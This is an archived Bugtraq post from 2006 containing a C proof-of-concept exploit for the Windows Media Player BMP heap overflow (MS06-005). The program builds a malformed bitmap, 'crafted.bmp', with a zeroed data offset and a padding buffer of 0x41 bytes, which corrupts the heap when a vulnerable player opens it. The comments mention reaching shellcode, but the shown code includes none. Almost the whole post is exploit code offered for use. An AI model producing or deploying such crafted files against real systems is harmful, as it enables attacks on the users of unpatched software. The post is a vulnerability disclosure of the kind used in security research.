bugtraq - Windows Media Player BMP Heap Overflow (MS06-005)

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Date: 15 Feb 2006 23:55:22 -0000
From: atmaca@...mail.com
To: bugtraq@...urityfocus.com
Subject: Windows Media Player BMP Heap Overflow (MS06-005)


/*
*
* Windows Media Player BMP Heap Overflow (MS06-005)
* Bug discovered by eEye - http://www.eeye.com/html/research/advisories/AD20060214.html
* Exploit coded by ATmaCA
* Web: http://www.spyinstructors.com  && http://www.atmacasoft.com
* E-Mail: atmaca@...mail.com
* Credit to Kozan
*
*/

/*
*
* Systems Affected:
* Microsoft Windows Media Player 7.1 through 10
*
* Windows NT 4.0
* Windows 98 / ME
* Windows 2000 SP4
* Windows XP SP1 / SP2
* Windows 2003
*
*
*/

/*
*
* In this vulnerability,payload is loaded to different places in memory each time.
* but some time is very easy to call our shell code :
* http://www.spyinstructors.com/atmaca/research/wmp.JPG
* but some times not =) because of ,no shell this time
*
*/

/*
*
* Microsoft has released a patch for this vulnerability.
* The patch is available at:
* http://www.microsoft.com/technet/security/bulletin/ms06-005.mspx
*
*/

#include <windows.h>
#include <stdio.h>

#define BITMAP_FILE_SIZE        0xA8D2
#define BITMAP_FILE_NAME        "crafted.bmp"

#pragma pack( push )
#pragma pack( 1 )

// bitmap file format - http://atlc.sourceforge.net/bmp.html
//File information header provides general information about the file
typedef struct _BitmapFileHeader {
  WORD    bfType;
  DWORD   bfSize;
  WORD    bfReserved1;
  WORD    bfReserved2;
  DWORD   bfOffBits;
} BMPFHEADER;

//Bitmap information header provides information specific to the image data
typedef struct _BitmapInfoHeader{
  DWORD  biSize;
  LONG   biWidth;
  LONG   biHeight;
  WORD   biPlanes;
  WORD   biBitCount;
  DWORD  biCompression;
  DWORD  biSizeImage;
  LONG   biXPelsPerMeter;
  LONG   biYPelsPerMeter;
  DWORD  biClrUsed;
  DWORD  biClrImportant;
} BMPIHEADER;

#pragma pack( pop )

int main(void)
{
        FILE *File;
        BMPFHEADER *bmp_fheader;
        BMPIHEADER *bmp_iheader;
        char *pszBuffer;

        printf("\nWindows Media Player BMP Heap Overflow (MS06-005)");
        printf("\nBug discovered by eEye");
        printf("\nExploit coded by ATmaCA");
        printf("\nWeb: http://www.spyinstructors.com  && http://www.atmacasoft.com");
        printf("\nE-Mail: atmaca@...mail.com");
        printf("\nCredit to Kozan");


        if ( (File = fopen(BITMAP_FILE_NAME,"w+b")) == NULL ) {
                printf("\n [E:] fopen()");
                exit(1);
        }

        bmp_fheader=(BMPFHEADER*)malloc(sizeof(BMPFHEADER));
        bmp_iheader=(BMPIHEADER*)malloc(sizeof(BMPIHEADER));
        pszBuffer = (char*)malloc(BITMAP_FILE_SIZE);

        memset(pszBuffer,0x41,BITMAP_FILE_SIZE);

        bmp_fheader->bfType = 0x4D42; // "BM"
        bmp_fheader->bfSize = BITMAP_FILE_SIZE;
        bmp_fheader->bfReserved1 = 0x00;
        bmp_fheader->bfReserved2 = 0x00;

        // eEye - MAGIC
        // Antiviruses will get the signature from here!!!
        bmp_fheader->bfOffBits = 0x00; //( sizeof(BMPFHEADER) + sizeof(BMPIHEADER) );

        bmp_iheader->biSize = 0x28;
        bmp_iheader->biWidth = 0x91;
        bmp_iheader->biHeight = 0x63;
        bmp_iheader->biPlanes = 0x01;
        bmp_iheader->biBitCount = 0x18;
        bmp_iheader->biCompression = 0x00;
        bmp_iheader->biSizeImage = 0xA89C;
        bmp_iheader->biXPelsPerMeter = 0x00;
        bmp_iheader->biYPelsPerMeter = 0x00;
        bmp_iheader->biClrUsed = 0x00;
        bmp_iheader->biClrImportant = 0x00;

        memcpy(pszBuffer,bmp_fheader,sizeof(BMPFHEADER));
        memcpy(pszBuffer+sizeof(BMPFHEADER),bmp_iheader,sizeof(BMPIHEADER));

        fwrite(pszBuffer, BITMAP_FILE_SIZE-1, 1,File);
        fwrite("\x00", 1,1, File); //Terminator

        fclose(File);
        printf("\n\n"  BITMAP_FILE_NAME" has been created in the current directory.\n");

        return 1;
}